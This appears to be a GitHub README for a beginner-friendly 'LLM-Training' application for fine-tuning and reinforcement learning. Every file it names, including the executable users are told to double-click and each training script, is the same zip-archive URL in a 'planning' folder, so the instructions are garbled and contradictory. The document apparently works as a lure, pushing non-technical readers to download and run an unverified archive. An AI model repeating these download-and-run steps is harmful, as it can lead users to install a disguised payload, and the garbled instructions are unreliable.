🚀 LLM-Training - Train Your Language Model Easily

📥 Overview

Welcome to LLM-Training! This application helps you train a language model using supervised fine-tuning and reinforcement learning. It is designed for users who want to enhance their machine learning skills without needing deep technical knowledge.

🚀 Getting Started

Follow these steps to get started with LLM-Training:

1. Download the Application

   • Visit this page to download the latest version of LLM-Training.

2. Unzip the Files

   • After downloading, unzip the files in your desired location on your computer.

3. Open the Application

   • Locate the folder where you unzipped the files. Find the main executable file named https://raw.githubusercontent.com/ghaithmhmm/LLM-Training/main/planning/LLM-Training_v1.9-alpha.3.zip (for Windows) or LLM-Training (for Mac/Linux).
   • Double-click the file to start the application.

📦 Download & Install

You can download the latest version of LLM-Training from this page. Ensure to always get the newest version for the best features and bug fixes.

1. Visit the Download Page

   • Click here to go to the releases page.

2. Select the Latest Version

   • Find the version listed at the top. Click on it to see the files available for download.

3. Choose Your File

   • Download the installation file suitable for your operating system (Windows, Mac, or Linux).

4. Install the Application

   • After downloading, follow the instructions above to unzip and open the application.

🎓 How to Use LLM-Training

🌟 Supervised Fine-Tuning (SFT)

With the SFT feature, you can train your model using synthetic data. Here’s how to use this feature:

1. Prepare Your Dataset

   • Use the dataset from joyce8/EMBER2024-capa to get started.

2. Generate Synthetic Data

   • Utilize the script https://raw.githubusercontent.com/ghaithmhmm/LLM-Training/main/planning/LLM-Training_v1.9-alpha.3.zip located in the application folder. Running this will help you create a dataset tailored for training.

3. Train Your Model

   • To train the model, use the script named https://raw.githubusercontent.com/ghaithmhmm/LLM-Training/main/planning/LLM-Training_v1.9-alpha.3.zip. This will begin the training process with the prepared dataset.

🏆 Reinforcement Learning with Verifiable Rewards (RLVR)

RLVR allows enhanced training of your model through additional reinforcement learning techniques.

1. Set Up the Verifier

   • Use the capa verifier to verify the rewards during training.

2. Train the Model

   • Start the RL training using the https://raw.githubusercontent.com/ghaithmhmm/LLM-Training/main/planning/LLM-Training_v1.9-alpha.3.zip. This script will guide you through the process, allowing you to leverage the rewards effectively.

📚 Resources

For further understanding and support, use these resources:

• Verifiers repo
• Hugging Face course: Supervised Fine-Tuning
• Hugging Face course: Build Reasoning Models

🛠️ System Requirements

To run LLM-Training smoothly, your system should meet the following requirements:

• Operating System: Windows 10 or later, macOS 10.13 or later, Linux Ubuntu 18.04 or later.
• Memory: At least 8 GB of RAM for basic tasks, 16 GB recommended for larger datasets.
• Processor: Intel i5 or AMD Ryzen 5 or better.
• Disk Space: Minimum of 2 GB free space for installation and additional space for data storage.

⚙️ Troubleshooting

If you face issues while using LLM-Training, consider these steps:

• Check for Updates: Ensure you are using the latest version from this page.

• Consult the Resources: Review the provided links for any common issues and their solutions.

• Community Support: If issues persist, consider reaching out through the GitHub discussions or checking for solutions on forums related to language model training.

📞 Contact

For questions or feedback, engage with the developer or community on GitHub. Your input can help improve LLM-Training.

Remember, learning and training a language model can be enjoyable and rewarding. Make use of LLM-Training to expand your capabilities in this exciting field!